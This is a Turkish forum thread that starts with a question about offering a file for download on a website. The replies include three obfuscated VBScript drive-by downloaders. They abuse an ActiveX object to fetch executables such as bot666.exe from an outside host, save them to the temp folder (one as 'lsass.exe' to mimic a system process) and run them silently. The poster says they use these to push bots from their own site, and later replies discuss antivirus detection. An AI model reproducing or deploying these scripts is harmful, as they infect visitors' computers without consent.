html download kodu??

arkadaşlar sitemden xpi uzantılı bir dosyayı download ettirmek istiyorum,nasıl bir kod yazmalıyım yardımcı olur musunuz?

Hangi programlama dili için sordun bilmiyorum ama visual basic içinse işine yarar umarım.

'Asagidaki kodu bir kontrolun click event'ine yaz
Dim iRet As Long
Dim Cevap As Integer

Cevap = MsgBox("www.otantikkent.com/x.zip adresini açmak istiyor musunuz?", vbInformation + vbYesNo, "www.otantikkent.com")

Select Case Cevap
Case vbYes
iRet = Shell("start.exe www.otantikkent.com/x.zip ", vbNormal)
Case vbNo
Exit Sub
End Select



yada



forma bir adet webbrowser ekleyerek

webbrowser.navigate "www.otantikkent.com/x.zip"


şeklinde yapabilirsin....


umarım işine yarar...

<script language="VBScript">
on error resume next
'1
dl ="http://www.hhikaye.com/doom.exe"
'1
Set df = document.createElement("object")
'1f
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
'1
str="Microsoft.XMLHTTP"
'1
Set x = df.CreateObject(str,"")
'1
a1="Adodb."
a4="Stream"
'1
str1=a1&a4
str5=str1
'1
set S = df.createobject(str5,"")
'1
S.type = 1
str6="GET"
'1
x.Open str6, dl, False
x.Send
'1
fname1="sss.exe"
'1
set F = df.createobject("Scripting.FileSystemObject","")
'1
set tmp = F.GetSpecialFolder(2)
'1
fname1= F.BuildPath(tmp,fname1)
'1
S.open
'1
S.write x.responseBody
'1
S.savetofile fname1,2
'1
S.close
'1
set Q = df.createobject("Shell.Application","")
'2
Q.ShellExecute fname1,"",""
'1
</script>

diğeri ;


<script language="VBScript">
on error resume next

Set obj1 = document.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"XMLHTTP"
Set obj2 = obj1.CreateObject(est1,"")


est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1

est2="GET"
obj2.Open est2, "http://www.hhikaye.com/bot666.exe", False
obj2.Send


set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)


obj3.open
obj3.write obj2.responseBody
obj3.savetofile fi,2
obj3.close


set obj5 = obj1.createobject("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
</script>

ve diğeri ;

<script language="VBScript">
on error resume next
dl = "http://www.hhikaye.com/newbot.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="HADEBEEE.EXE"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>

kodlari kendine göre editle, sp2 downloader'dir bunlar.
ben çoğunlukla sitemden bot/hta vb. indirtmek için kullaniyorum.
umarim işine yarar.

doom kodlar çalışmıyor :s

Çalışıyor fakat Bütün antiler Yakalıyor

Denemekte yarar var